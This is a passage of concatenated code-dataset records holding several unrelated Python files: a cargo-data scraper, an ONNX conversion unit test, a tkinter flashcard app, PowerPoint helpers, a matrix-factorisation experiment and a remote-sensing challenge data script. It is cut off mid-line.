carga['VLPesoCargaBruta'].str.replace(',','.').apply(float)\n carga = pd.merge(carga,atracacao[['Mes','Ano','IDAtracacao']], on='IDAtracacao')\n cc = pd.read_csv(f'dados/{year}Carga_Conteinerizada.txt', sep=';')\n cc['VLPesoCargaConteinerizada'] = cc['VLPesoCargaConteinerizada'].str.replace(',','.').apply(float)\n cc = cc.groupby('IDCarga').agg({'CDMercadoriaConteinerizada':lambda x: list(x), 'VLPesoCargaConteinerizada': lambda x:sum(x)}).reset_index()\n carga = pd.merge(carga, cc, on='IDCarga', how = 'left')\n carga['Peso líquido da carga'] = carga.apply(lambda x: x['VLPesoCargaConteinerizada'] if x['Carga Geral Acondicionamento'] == 'Conteinerizada' else x['VLPesoCargaBruta'],axis=1)\n carga['CDMercadoria'] = carga.apply(lambda x: x['CDMercadoriaConteinerizada'] if x['Carga Geral Acondicionamento'] == 'Conteinerizada' else x['CDMercadoria'],axis=1)\n fato_carga = carga.drop(['CDMercadoriaConteinerizada','VLPesoCargaConteinerizada'],axis=1)\n save_table(fato_carga, 'fato_carga')\n\nwith sync_playwright() as p:\n browser = p.chromium.launch(headless=True)\n page = browser.new_page(accept_downloads=True)\n page.goto(url)\n\n while True:\n date = str(start_date)\n page.select_option(date_selector, value=date)\n articles = page.locator(f'xpath={xpath}')\n try:\n links = get_links(articles.inner_html())\n except Exception as e:\n print(f'{e}')\n with open('links.txt', 'a') as file:\n file.write('\\n'.join(links)) \n for e in links:\n get_file(e)\n generate_and_save_tables(start_date)\n start_date = start_date+1\n if start_date>end_date:\n break\n browser.close()\nprint(f'Files extracted and saved from {url}')","repo_name":"josedossantos10/Selecao-FIEC","sub_path":"Resposta_2b.py","file_name":"Resposta_2b.py","file_ext":"py","file_size_in_byte":3228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10207190620","text":"# pylint: disable=R1716\n\"\"\"\n@brief test log(time=20s)\n\"\"\"\nimport unittest\nimport numpy\nfrom onnxruntime import __version__ as ort_version, InferenceSession\nfrom pyquickhelper.pycode import ExtTestCase, ignore_warnings\nfrom pyquickhelper.texthelper.version_helper import compare_module_version\nimport sklearn\nfrom sklearn.datasets import load_iris\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeRegressor, DecisionTreeClassifier\nfrom sklearn.ensemble import (\n RandomForestRegressor, GradientBoostingRegressor,\n HistGradientBoostingRegressor,\n RandomForestClassifier, GradientBoostingClassifier,\n HistGradientBoostingClassifier)\nfrom lightgbm import LGBMRegressor, LGBMClassifier\nfrom xgboost import XGBRegressor, XGBClassifier\nimport skl2onnx\nfrom mlprodict.onnx_tools.model_checker import check_onnx\nfrom mlprodict.onnxrt import OnnxInference\nfrom mlprodict.onnx_conv import to_onnx\nfrom mlprodict.plotting.text_plot import onnx_simple_text_plot\n# from mlprodict import (\n# __max_supported_opsets_experimental__ as __max_supported_opsets__)\nfrom mlprodict import __max_supported_opsets__\n\nort_version = \".\".join(ort_version.split('.')[:2])\n\n\nclass TestOnnxConvTreeEnsemble(ExtTestCase):\n\n def common_test_regressor(self, runtime, models=None, dtypes=None):\n iris = load_iris()\n X, y = iris.data, iris.target\n X_train, X_test, y_train, _ = train_test_split(X, y, random_state=0)\n if models is None:\n models = [\n DecisionTreeRegressor(max_depth=2),\n RandomForestRegressor(n_estimators=2, max_depth=2),\n ]\n\n if (compare_module_version(skl2onnx.__version__, \"1.11.1\") > 0 or\n compare_module_version(sklearn.__version__, \"1.1.0\") < 0):\n # \"log_loss still not implemented\")\n models.append(GradientBoostingRegressor(\n n_estimators=2, max_depth=2))\n models.append(HistGradientBoostingRegressor(\n max_iter=2, max_depth=2))\n\n if dtypes is None:\n dtypes = [numpy.float64, numpy.float32]\n for gbm in models:\n gbm.fit(X_train, y_train)\n exp = gbm.predict(X_test).ravel()\n for dtype in dtypes:\n decimal = {numpy.float32: 5, numpy.float64: 7}[dtype]\n if (dtype == numpy.float64 and gbm.__class__ in {\n LGBMRegressor}):\n decimal = 7\n elif (dtype == numpy.float64 and gbm.__class__ in {\n XGBRegressor}):\n decimal = 7\n xt = X_test.astype(dtype)\n for opset in [(17, 3), (15, 1)]:\n if (opset[1] > __max_supported_opsets__['ai.onnx.ml'] or (\n opset[0] == 15 and dtype == numpy.float64 and\n runtime == 'onnxruntime1')):\n continue\n with self.subTest(runtime=runtime, dtype=dtype,\n model=gbm.__class__.__name__,\n opset=opset):\n onx = to_onnx(gbm, xt, # options={'zipmap': False},\n target_opset={\n '': opset[0], 'ai.onnx.ml': opset[1]},\n rewrite_ops=True)\n if dtype == numpy.float64:\n sonx = str(onx)\n if 'double' not in sonx and \"_as_tensor\" not in sonx:\n raise AssertionError(\n f\"Issue with {str(onx)}.\")\n try:\n check_onnx(onx)\n except Exception as e:\n raise AssertionError(\n f\"Issue with {str(onx)}.\") from e\n output = onx.graph.output[0].type.tensor_type.elem_type\n self.assertEqual(\n output, {numpy.float32: 1, numpy.float64: 11}[dtype])\n oif = OnnxInference(onx, runtime=runtime)\n self.assertEqual({numpy.float32: 'tensor(float)',\n numpy.float64: 'tensor(double)'}[dtype],\n oif.output_names_shapes_types[0][2])\n got = oif.run({'X': xt})\n try:\n self.assertEqualArray(exp, got['variable'].ravel(),\n decimal=decimal)\n except AssertionError as e:\n raise AssertionError(\n f\"Discrepancies, decimal={decimal}, opset={opset}\\n\"\n f\"{str(onx)}.\") from e\n self.assertEqual(got['variable'].dtype, dtype)\n\n @ignore_warnings((RuntimeWarning, UserWarning))\n def test_regressor_python(self):\n self.common_test_regressor('python')\n\n @ignore_warnings((RuntimeWarning, UserWarning))\n def test_regressor_python_lgbm(self):\n self.common_test_regressor(\n 'python', [LGBMRegressor(max_iter=3, max_depth=2, verbosity=-1)])\n\n @ignore_warnings((RuntimeWarning, UserWarning))\n def test_regressor_python_lgbm16(self):\n iris = load_iris()\n X, y = iris.data, iris.target\n X_train, X_test, y_train, _ = train_test_split(X, y)\n reg = LGBMRegressor(max_iter=3, max_depth=2, verbosity=-1)\n reg.fit(X_train, y_train)\n try:\n onx = to_onnx(reg, X_train.astype(numpy.float64),\n target_opset={'': 16, 'ai.onnx.ml': 3},\n rewrite_ops=True)\n except RuntimeError as e:\n msg = \"version 16 of domain '' not supported yet by this library\"\n if msg in str(e):\n return\n msg = \"version 3 of domain 'ai.onnx.ml' not supported yet\"\n if msg in str(e):\n return\n raise e\n node = onx.graph.node[0]\n self.assertEqual(node.op_type, 'TreeEnsembleRegressor')\n self.assertEqual(node.domain, 'ai.onnx.ml')\n set_names = set()\n for att in node.attribute:\n if 'values' in att.name or 'target' in att.name:\n set_names.add(att.name)\n self.assertIn(\"nodes_values_as_tensor\", set_names)\n check_onnx(onx)\n with open(\"debug.onnx\", \"wb\") as f:\n f.write(onx.SerializeToString())\n # python\n oinf = OnnxInference(onx)\n got = oinf.run({'X': X_test.astype(numpy.float64)})\n self.assertEqual(got['variable'].dtype, numpy.float64)\n # onnxruntime\n sess = InferenceSession(onx.SerializeToString())\n got2 = sess.run(None, {'X': X_test.astype(numpy.float64)})\n self.assertEqual(got2[0].dtype, numpy.float64)\n\n @ignore_warnings((RuntimeWarning, UserWarning))\n def test_regressor_python_xgb(self):\n self.common_test_regressor(\n 'python', [XGBRegressor(max_iter=3, max_depth=2, verbosity=0)],\n dtypes=[numpy.float32])\n\n @unittest.skipIf(compare_module_version(ort_version, '1.12') < 0,\n reason=\"missing runtime\")\n @ignore_warnings((RuntimeWarning, UserWarning))\n def test_regressor_onnxruntime(self):\n self.common_test_regressor('onnxruntime1')\n\n def common_test_classifier(self, runtime, models=None, dtypes=None):\n iris = load_iris()\n X, y = iris.data, iris.target\n X_train, X_test, y_train, _ = train_test_split(X, y, random_state=0)\n if models is None:\n models = [\n DecisionTreeClassifier(max_depth=2),\n RandomForestClassifier(n_estimators=2, max_depth=2),\n ]\n\n if (compare_module_version(skl2onnx.__version__, \"1.11.1\") > 0 or\n compare_module_version(sklearn.__version__, \"1.1.0\") < 0):\n # \"log_loss still not implemented\")\n models.append(GradientBoostingClassifier(\n n_estimators=2, max_depth=2))\n models.append(HistGradientBoostingClassifier(\n max_iter=2, max_depth=2))\n\n if dtypes is None:\n dtypes = [numpy.float64, numpy.float32]\n for gbm in models:\n gbm.fit(X_train, y_train)\n exp = gbm.predict_proba(X_test).ravel()\n for dtype in dtypes:\n decimal = {numpy.float32: 6, numpy.float64: 7}[dtype]\n if (dtype == numpy.float64 and\n gbm.__class__ in {DecisionTreeClassifier,\n GradientBoostingClassifier}):\n decimal = 12\n xt = X_test.astype(dtype)\n for opset in [(15, 1), (17, 3)]:\n if (opset[1] > __max_supported_opsets__['ai.onnx.ml'] or (\n opset[0] == 15 and dtype == numpy.float64 and\n runtime == 'onnxruntime1')):\n continue\n with self.subTest(runtime=runtime, dtype=dtype,\n model=gbm.__class__.__name__,\n opset=opset):\n onx = to_onnx(gbm, xt, options={'zipmap': False},\n target_opset={\n '': opset[0],\n 'ai.onnx.ml': opset[1]},\n rewrite_ops=True)\n if dtype == numpy.float64 and (\n opset[1] >= 3 or\n gbm.__class__ not in {\n RandomForestClassifier,\n HistGradientBoostingClassifier}):\n sonx = str(onx)\n if 'double' not in sonx and \"_as_tensor\" not in sonx:\n raise AssertionError(\n f\"Issue with {str(onx)}.\")\n output = onx.graph.output[1].type.tensor_type.elem_type\n self.assertEqual(\n output, {numpy.float32: 1, numpy.float64: 11}[dtype])\n oif = OnnxInference(onx, runtime=runtime)\n self.assertEqual({numpy.float32: 'tensor(float)',\n numpy.float64: 'tensor(double)'}[dtype],\n oif.output_names_shapes_types[1][2])\n got = oif.run({'X': xt})\n try:\n self.assertEqualArray(\n exp, got['probabilities'].ravel(), decimal=decimal)\n except AssertionError as e:\n if (dtype != numpy.float64 or\n gbm.__class__ == HistGradientBoostingClassifier):\n # DecisionTree, RandomForest are comparing\n # a double threshold and a float feature,\n # the comparison may introduce discrepancies if\n # the comparison is between both double.\n raise AssertionError(\n \"Discrepancies with onx=%s\\n%s.\" % (\n onnx_simple_text_plot(onx),\n str(onx))) from e\n self.assertEqual(got['probabilities'].dtype, dtype)\n\n @ignore_warnings((RuntimeWarning, UserWarning))\n def test_classifier_python(self):\n self.common_test_classifier('python')\n\n @unittest.skipIf(compare_module_version(ort_version, '1.12') < 0,\n reason=\"missing runtime\")\n @ignore_warnings((RuntimeWarning, UserWarning))\n def test_classifier_onnxruntime(self):\n self.common_test_classifier('onnxruntime1')\n\n @ignore_warnings((RuntimeWarning, UserWarning))\n def test_classifier_python_lgbm(self):\n # xgboost is implemented with floats\n self.common_test_classifier(\n 'python', [LGBMClassifier(max_iter=3, max_depth=2, verbosity=-1)],\n dtypes=[numpy.float32])\n\n @ignore_warnings((RuntimeWarning, UserWarning))\n def test_classifier_python_xgb(self):\n # xgboost is implemented with floats\n self.common_test_classifier(\n 'python', [XGBClassifier(max_iter=2, max_depth=2, verbosity=0)],\n dtypes=[numpy.float32])\n\n\nif __name__ == \"__main__\":\n # import logging\n # logger = logging.getLogger('mlprodict.onnx_conv')\n # logger.setLevel(logging.DEBUG)\n # logging.basicConfig(level=logging.DEBUG)\n # TestOnnxConvTreeEnsemble().test_regressor_python_lgbm16()\n unittest.main(verbosity=2)\n","repo_name":"sdpython/mlprodict","sub_path":"_unittests/ut_onnx_conv/test_onnx_conv_tree_ensemble.py","file_name":"test_onnx_conv_tree_ensemble.py","file_ext":"py","file_size_in_byte":13057,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"67"} +{"seq_id":"39697657785","text":"from tkinter import *\nimport pandas\nimport random\n\nBACKGROUND_COLOR = \"#B1DDC6\"\n\n\ndef finished_cards():\n canvas.itemconfig(\n card_title, text=\"You've completed all the cards\", fill=\"black\")\n canvas.itemconfig(\n card_text, text=\"Vous avez rempli toutes les cartes\", fill=\"black\", font=(\"Ariel\", 20, \"bold\"))\n\n\ntry:\n french_df = pandas.read_csv(\"flashcard_app/data/words_to_learn.csv\")\n# except FileNotFoundError:\nexcept:\n french_df = pandas.read_csv(\"flashcard_app/data/french_words.csv\")\n french_list = french_df.to_dict(orient=\"records\")\nelse:\n french_list = french_df.to_dict(orient=\"records\")\n\ncurrent_dict = {}\n\n\ndef translation():\n word = current_dict[\"English\"]\n canvas.itemconfig(card_background, image=card_image_back)\n canvas.itemconfig(card_title, text=\"English\", fill=\"white\")\n canvas.itemconfig(card_text, text=word, fill=\"white\")\n\n\ndef new_word():\n global flip_timer\n global current_dict\n window.after_cancel(flip_timer)\n try:\n current_dict = random.choice(french_list)\n except IndexError:\n finished_cards()\n else:\n word = current_dict[\"French\"]\n canvas.itemconfig(card_title, text=\"French\", fill=\"black\")\n canvas.itemconfig(card_text, text=word, fill=\"black\")\n canvas.itemconfig(card_background, image=card_image_front)\n flip_timer = window.after(3000, translation)\n\n\ndef wrong_button():\n new_word()\n\n\ndef right_button():\n new_word()\n try:\n french_list.remove(current_dict)\n except ValueError:\n new_word()\n else:\n words_to_learn_df = pandas.DataFrame(data=french_list)\n words_to_learn_df.to_csv(\n \"flashcard_app/data/words_to_learn.csv\", index=False)\n\n\nwindow = Tk()\nwindow.title(\"Flashy\")\nwindow.configure(padx=50, pady=50, bg=BACKGROUND_COLOR)\n\n\nflip_timer = window.after(3000, translation)\n\n\n# word\n# Canvas Object || Flash Card\ncanvas = Canvas(width=800, height=524,\n bg=BACKGROUND_COLOR, highlightthickness=0)\ncard_image_front = PhotoImage(file=\"flashcard_app/images/card_front.png\")\ncard_image_back = PhotoImage(file=\"flashcard_app/images/card_back.png\")\ncard_background = canvas.create_image(400, 263, image=card_image_front)\ncard_title = canvas.create_text(\n 400, 150, text=\"\", font=(\"Ariel\", 40, \"italic\"))\ncard_text = canvas.create_text(\n 400, 263, text=\"\", font=(\"Ariel\", 60, \"bold\"))\n\ncanvas.grid(row=0, column=0, columnspan=2)\n\n# Buttons\n# X button\nwrong_image = PhotoImage(file=\"flashcard_app/images/wrong.png\")\nwrong_button = Button(image=wrong_image, highlightthickness=0,\n relief=FLAT, bg=BACKGROUND_COLOR, command=wrong_button)\nwrong_button.grid(row=1, column=0)\n\n# Y button\nright_image = PhotoImage(file=\"flashcard_app/images/right.png\")\nright_button = Button(image=right_image, highlightthickness=0,\n relief=FLAT, bg=BACKGROUND_COLOR, command=right_button)\nright_button.grid(row=1, column=1)\n\nnew_word()\n\nwindow.mainloop()\n","repo_name":"DevNick21/Python-Main","sub_path":"Intermediate/flashcard_app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10209417940","text":"\"\"\"\n@file\n@brief Helpers on Powerpoint presentation.\nIt relies on module `python-pptx `_.\n\"\"\"\n\n\ndef pptx_enumerate_text(ptx):\n \"\"\"\n Enumerates all text content in a presentation.\n\n @param ptx presentation\n @return enumerate (slide, shape, zone, text)\n \"\"\"\n for islide, slide in enumerate(ptx.slides):\n for ishape, shape in enumerate(slide.shapes):\n if not shape.has_text_frame:\n continue\n text_frame = shape.text_frame\n for ip, p in enumerate(text_frame.paragraphs):\n if p.text:\n yield (islide, ishape, ip, p.text)\n\n\ndef pptx_apply_transform(ptx, replace_func):\n \"\"\"\n Applies the same transformation on all text zone.\n\n @param ptx presentation\n @param replace_func function ``f(islide, ishape, ip, text) --> text\n @return presentation\n\n @warning Updated text does not retain style (bug).\n \"\"\"\n from pptx.util import Pt\n from pptx.dml.color import RGBColor\n\n for islide, slide in enumerate(ptx.slides):\n for ishape, shape in enumerate(slide.shapes):\n if not shape.has_text_frame:\n continue\n text_frame = shape.text_frame\n for ip, p in enumerate(text_frame.paragraphs):\n if p.text:\n new_text = replace_func(islide, ishape, ip, p.text)\n if new_text != p.text:\n font = p.font\n p.text = \"\" # new_text\n run = p.add_run()\n run.text = new_text\n run.font.name = font.name\n run.font.size = Pt(25) # font.size\n #run.font.color.rgb = font.color.rgb\n run.font.color.rgb = RGBColor(0xFF, 0x7F, 0x50)\n return ptx\n","repo_name":"sdpython/botadi","sub_path":"src/botadi/mokadi/pptx_helper.py","file_name":"pptx_helper.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16554893771","text":"from __future__ import division\nimport macau\nimport scipy.io\nimport numpy as np\nimport math\nnp.set_printoptions(threshold=np.nan)\n\n\nimport random\n\ncens_lim=[-2,-1,0,1,2,3]\nloop_fac=10\nrmse_mat=np.zeros((len(cens_lim),loop_fac))\nrmse_mat2=np.zeros((len(cens_lim),loop_fac))\ncens_numbers=np.zeros((len(cens_lim),loop_fac))\nrandom.seed(94)\nnp.random.seed(94)\nfor [idx_i,cens_i] in enumerate(cens_lim):\n for loop in range(loop_fac):\n\n\n\n drug_num=500\n assay_num=150\n latents=5\n cens_threshold=cens_i\n nums_0=60000\n test_per=0.2\n\n U=np.random.randn(drug_num,5)\n V =np.random.randn(assay_num,5)\n Y=np.dot(U,V.T)\n #print(Y)\n grid=np.indices((drug_num,assay_num))\n rows_idx=grid[0].flatten()\n col_idx=grid[1].flatten()\n import random\n idx_sel=random.sample(range(len(rows_idx)),(nums_0))\n row_sel=rows_idx[idx_sel]\n col_sel=col_idx[idx_sel]\n\n # Set some samples to 0\n Y[row_sel[0:nums_0],col_sel[0:nums_0]]=0\n\n #Training\n D=scipy.sparse.coo_matrix(Y)\n #Test\n D, Dtest = macau.make_train_test(D, test_per)\n #Censor below censoring threshold:\n a=D.data\n cens=[1]*sum(D.data for any # #\n# # question or trouble found with the code or the data provided for # #\n# # the Spatial Scaling Challenge. # #\n# # # #\n# # ------------------------------------------------------------------- # #\n# # DESCRIPTION AND DISCLAIMER # #\n# # # #\n# # This script opens the netCDF4 and CSV files provided together # #\n# # this code containing the datasets necessary to participate in # #\n# # the Spatial Scaling Challenge organized by the COST Action # #\n# # SENSECO. It also allows exporting the participant's results to # #\n# # the only standardized format that will be accepted for submission # #\n# # # #\n# # This program is free software: you can redistribute it and/or # #\n# # modify it under the terms of the GNU General Public License as # # \n# # published by the Free Software Foundation, either version 3 of # #\n# # the License, or any later version. # #\n# # # #\n# # This program is distributed in the hope that it will be useful, # #\n# # but WITHOUT ANY WARRANTY; without even the implied warranty of # #\n# # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # #\n# # GNU General Public License for more details. # #\n# # # #\n# # You should have received a copy of the GNU General Public License # #\n# # along with this program. If not, see # #\n# # . # #\n# # # #\n# # Meteorological data from Majadas de Tiétar experimental station # #\n# # were provided by the Max Planck Institute for Biogeochemistry # #\n# # (Germany) and Fundación CEAM (Spain) # #\n# # # #\n# # ------------------------------------------------------------------- # #\n# # CODE AUTHORS # #\n# # # #\n# # * Dr Gerbrand Koren # #\n# # Utrecht University, Netherlands # #\n# # * Dr Javier Pacheco-Labrador # #\n# # Max Planck Institute for Biogeochemistry, Germany # #\n# # # #\n# # ------------------------------------------------------------------- # #\n# # ------------------------------------------------------------------- # #\n\n#%% 1) Initialize\n\n# # Imports\n# import numpy as np\n# import matplotlib.pyplot as plt\n# from matplotlib import cm\n# # import netCDF4 as nc\n# import pandas as pd\nfrom os.path import exists\nfrom os import remove\nimport os\nimport warnings\nfrom zipfile import ZipFile\n\n# # # Options\n# do_plots = True\n\n# # # Define paths\n# ori_SSCdata = '1_SSC_data//'\n# SSC_R = ori_SSCdata + 'Airborne_HDRF.nc'\n# SSC_F = ori_SSCdata + 'Airborne_F.nc'\n# SSC_LST = ori_SSCdata + 'Airborne_LST.nc'\n# SSC_field_plots = ori_SSCdata + 'FieldData.csv'\n# SSC_field_time_series = ori_SSCdata + 'FieldData_hh.csv'\nori_SSCresults = '3_SSC_results'\nout_netcdf = os.path.join(ori_SSCresults, 'maps_estimates.nc')\n\n# #%% 2) Spatial Scaling Challenge. Data import\n# # # Coordinates, common to all imagery. \n# h = nc.Dataset(SSC_R)\n# spat_ref = h.getncattr('spat_ref')\n# pixel_size = h.getncattr('pixel_size') #in meters\n# coords_x = h.variables['coords_x'][:] + pixel_size/2 #from top-right corner to center of the pixel\n# coords_y = h.variables['coords_y'][:] - pixel_size/2 #from top-right corner to center of the pixel\n# coords_z = h.variables['coords_z'][:]\n# [n_rows, n_cols] = np.shape(coords_x)\n# h.close()\n\n# # # Airborne hyperspectral reflectance imagery\n# h = nc.Dataset(SSC_R)\n# R_ = np.transpose(h.variables['var_'][:],(1, 2, 0)) #(Reflectance imagery [n_rows, n_cols, n_bands])\n# R_wvl = h.variables['wvl_center'][:] #(Center wavelength)\n# R_fwhm = h.variables['wvl_fwhm'][:] #(Full Width Half Maximum)\n# R_sza = h.variables['VZA'] #(View Zenith Angle)\n# R_svaa = h.variables['SVAA'] #(Sun-View Azimuth Angle)\n# R_description = h.getncattr('var_description')\n# R_units = h.getncattr('var_uds')\n# R_wvl_units = h.getncattr('wvl_uds')\n# n_bands = len(R_wvl)\n# h.close()\n\n# # # Airborne sun-induced clorophyll fluorescence radiance imagery\n# g = nc.Dataset(SSC_F)\n# F_ = np.transpose(g.variables['var_'][:],(1, 2, 0)) #(Fluorescence radiance imagery [n_rows, n_cols, n_bands])\n# F_wvl = g.variables['wvl_center'][:] #(Center wavelength)\n# F_fwhm = g.variables['wvl_fwhm'][:] #(Full Width Half Maximum)\n# F_sza = g.variables['VZA'] #(View Zenith Angle)\n# F_svaa = g.variables['SVAA'] #(Sun-View Azimuth Angle)\n# F_description = g.getncattr('var_description')\n# F_units = g.getncattr('var_uds')\n# F_wvl_units = g.getncattr('wvl_uds')\n# g.close()\n\n# # # Airborne land surface temperature imagery\n# q = nc.Dataset(SSC_LST)\n# LST_ = np.transpose(q.variables['var_'][:],(1, 2, 0))[:, :, 0] #(Land surface temperature imagery, [n_rows, n_cols])\n# LST_sza = q.variables['VZA'] #(View Zenith Angle)\n# LST_svaa = q.variables['SVAA'] #(Sun-View Azimuth Angle)\n# LST_description = q.getncattr('var_description')\n# LST_units = q.getncattr('var_uds')\n# q.close()\n\n# # # Field data. Spatial sampling in 1 x 1 meter plots.\n# FP_ = pd.read_csv(SSC_field_plots, delimiter=',')\n\n# # # Field data. Meteorological data and time series of NPQ.\n# FPhh_ = pd.read_csv(SSC_field_time_series, delimiter=',')\n\n# if do_plots is True: \n# # # Airborne hyperspectral reflectance imagery\n# bsel_ = np.where(abs(R_wvl-680) == min(abs(R_wvl-680)))[0][0]\n# fig = plt.figure(figsize =(10.5, 9))\n# ax = plt.axes()\n# ax.pcolormesh(coords_x, coords_y, R_[:, :, bsel_], shading='auto',\n# cmap=cm.summer)\n# plt.plot(FP_.Xutm, FP_.Yutm, 'or', markersize=11 ) \n# for i_ in range(len(FP_)):\n# plt.text(FP_.Xutm[i_] + 3*pixel_size, FP_.Yutm[i_] + 3*pixel_size,\n# ('%d' % FP_.PlotNum[i_]), color='r', fontsize=15,\n# fontweight='bold')\n# plt.plot(FPhh_.XNPQwheat[0], FPhh_.YNPQwheat[0], 'sb', markersize=11) \n# plt.text(FPhh_.XNPQwheat[0] - 20*pixel_size, FPhh_.YNPQwheat[0],\n# 'moni-PAM', color='b', fontsize=15, fontweight='bold')\n# plt.plot(FPhh_.XNPQmaize[0], FPhh_.YNPQmaize[0], 'sb', markersize=11) \n# plt.text(FPhh_.XNPQmaize[0] + 3*pixel_size, FPhh_.YNPQmaize[0],\n# 'moni-PAM', color='b', fontsize=15, fontweight='bold')\n# plt.text(coords_x[0, 0] + n_cols/4,coords_y[0, 0] + 5,\n# r'Field 1 (${Triticum}$ ${aestivum}$)', horizontalalignment='center',\n# fontsize=12)\n# plt.text(coords_x[0, 0] + 3*n_cols/4,coords_y[0, 0] + 5,\n# r'Field 2 (${Zea}$ ${mays}$)', horizontalalignment='center',\n# fontsize=12)\n# plt.xlabel(r'$x$ (m)')\n# plt.ylabel(r'$y$ (m)') \n# plt.xlim((coords_x.min(), coords_x.max()))\n# plt.ylim((coords_y.min(), coords_y.max()))\n# h = plt.colorbar(cm.ScalarMappable(cmap=cm.summer))\n# h.set_label('$HDRF_{\\\\rm680 nm}$ (%s)' % (R_units), rotation=90)\n# plt.savefig('1_HDRF_680.png', dpi=300)\n \n# fig = plt.figure(figsize =(10.5, 9))\n# ax = plt.axes()\n# ax.pcolormesh(coords_x, coords_y, F_[:, :, 1], shading='auto',\n# cmap=cm.summer)\n# plt.plot(FP_.Xutm, FP_.Yutm, 'or', markersize=11 ) \n# for i_ in range(len(FP_)):\n# plt.text(FP_.Xutm[i_] + 3*pixel_size, FP_.Yutm[i_] + 3*pixel_size,\n# ('%d' % FP_.PlotNum[i_]), color='r', fontsize=15,\n# fontweight='bold')\n# plt.plot(FPhh_.XNPQwheat[0], FPhh_.YNPQwheat[0], 'sb', markersize=11) \n# plt.text(FPhh_.XNPQwheat[0] - 20*pixel_size, FPhh_.YNPQwheat[0],\n# 'moni-PAM', color='b', fontsize=15, fontweight='bold')\n# plt.plot(FPhh_.XNPQmaize[0], FPhh_.YNPQmaize[0], 'sb', markersize=11) \n# plt.text(FPhh_.XNPQmaize[0] + 3*pixel_size, FPhh_.YNPQmaize[0],\n# 'moni-PAM', color='b', fontsize=15, fontweight='bold')\n# plt.text(coords_x[0, 0] + n_cols/4,coords_y[0, 0] + 5,\n# r'Field 1 (${Triticum}$ ${aestivum}$)', horizontalalignment='center',\n# fontsize=12)\n# plt.text(coords_x[0, 0] + 3*n_cols/4,coords_y[0, 0] + 5,\n# r'Field 2 (${Zea}$ ${mays}$)', horizontalalignment='center',\n# fontsize=12)\n# plt.xlabel(r'$x$ (m)')\n# plt.ylabel(r'$y$ (m)') \n# plt.xlim((coords_x.min(), coords_x.max()))\n# plt.ylim((coords_y.min(), coords_y.max()))\n# h = plt.colorbar(cm.ScalarMappable(cmap=cm.summer))\n# h.set_label('$F_{\\\\rm760 nm}$ ($\\\\rm%s$)' % (F_units), rotation=90)\n# plt.savefig('2_F_760.png', dpi=300)\n \n# fig = plt.figure(figsize =(10.5, 9))\n# ax = plt.axes()\n# ax.pcolormesh(coords_x, coords_y, LST_, shading='auto',\n# cmap=cm.summer)\n# plt.plot(FP_.Xutm, FP_.Yutm, 'or', markersize=11 ) \n# for i_ in range(len(FP_)):\n# plt.text(FP_.Xutm[i_] + 3*pixel_size, FP_.Yutm[i_] + 3*pixel_size,\n# ('%d' % FP_.PlotNum[i_]), color='r', fontsize=15,\n# fontweight='bold')\n# plt.plot(FPhh_.XNPQwheat[0], FPhh_.YNPQwheat[0], 'sb', markersize=11) \n# plt.text(FPhh_.XNPQwheat[0] - 20*pixel_size, FPhh_.YNPQwheat[0],\n# 'moni-PAM', color='b', fontsize=15, fontweight='bold')\n# plt.plot(FPhh_.XNPQmaize[0], FPhh_.YNPQmaize[0], 'sb', markersize=11) \n# plt.text(FPhh_.XNPQmaize[0] + 3*pixel_size, FPhh_.YNPQmaize[0],\n# 'moni-PAM', color='b', fontsize=15, fontweight='bold')\n# plt.text(coords_x[0, 0] + n_cols/4,coords_y[0, 0] + 5,\n# r'Field 1 (${Triticum}$ ${aestivum}$)', horizontalalignment='center',\n# fontsize=12)\n# plt.text(coords_x[0, 0] + 3*n_cols/4,coords_y[0, 0] + 5,\n# r'Field 2 (${Zea}$ ${mays}$)', horizontalalignment='center',\n# fontsize=12)\n# plt.xlabel(r'$x$ (m)')\n# plt.ylabel(r'$y$ (m)') \n# plt.xlim((coords_x.min(), coords_x.max()))\n# plt.ylim((coords_y.min(), coords_y.max()))\n# h = plt.colorbar(cm.ScalarMappable(cmap=cm.summer))\n# h.set_label('$LST$ ($\\\\rm%s$)' % (F_units), rotation=90)\n# plt.savefig('3_LST.png', dpi=300)\n\n# #%% 3) Brief example of how to link field and imagery data\n# # Generate indices for each crop\n# Iw = FP_['Crop']=='Wheat'\n# Im = FP_['Crop']!='Wheat'\n\n# # Convert row and column indices in a linear subindice\n# x_indices_w = FP_['Xpix'][Iw].values-1\n# y_indices_w = FP_['Ypix'][Iw].values-1\n# x_indices_m = FP_['Xpix'][Im].values-1\n# y_indices_m = FP_['Ypix'][Im].values-1\n\n# # # Access to the first layer of the [row, col, band] imagery matrix\n# plt.figure()\n# plt.plot(F_[x_indices_w,y_indices_w, 0],FP_['LAI'][Iw],'o',label='Wheat')\n# plt.plot(F_[x_indices_m,y_indices_m, 0],FP_['LAI'][Im],'s',label='Maize')\n# plt.xlabel('$F_{687 nm}$ ($'+F_units+'$)')\n# plt.ylabel('$LAI$ (m$^2$ m$^{-2}$)')\n# plt.grid()\n# if do_plots == True:\n# plt.savefig('4_F687_vs_LAI.png',dpi=300,bbox_inches='tight')\n\n# # # Access to the second layer of the [row, col, band] imagery matrix\n# plt.figure()\n# plt.plot(F_[x_indices_w,y_indices_w, 1],FP_['LAI'][Iw],'o',label='Wheat')\n# plt.plot(F_[x_indices_m,y_indices_m, 1],FP_['LAI'][Im],'s',label='Maize')\n# plt.xlabel('$F_{760 nm}$ ($'+F_units+'$)')\n# plt.ylabel('$LAI$ (m$^2$ m$^{-2}$)')\n# plt.grid()\n# if do_plots == True:\n# plt.savefig('5_F760_vs_LAI.png',dpi=300,bbox_inches='tight')\n\n# # # Access to the n-layer layer of the [row, col, band] imagery matrix\n# bsel_ = np.where(abs(R_wvl-680) == min(abs(R_wvl-680)))[0][0]\n# plt.figure()\n# plt.plot(R_[x_indices_w,y_indices_w, bsel_],FP_['LAI'][Iw],'o',label='Wheat')\n# plt.plot(R_[x_indices_m,y_indices_m, bsel_],FP_['LAI'][Im],'s',label='Maize')\n# plt.xlabel('$HDRF_{680 nm}$ ($'+R_units+'$)')\n# 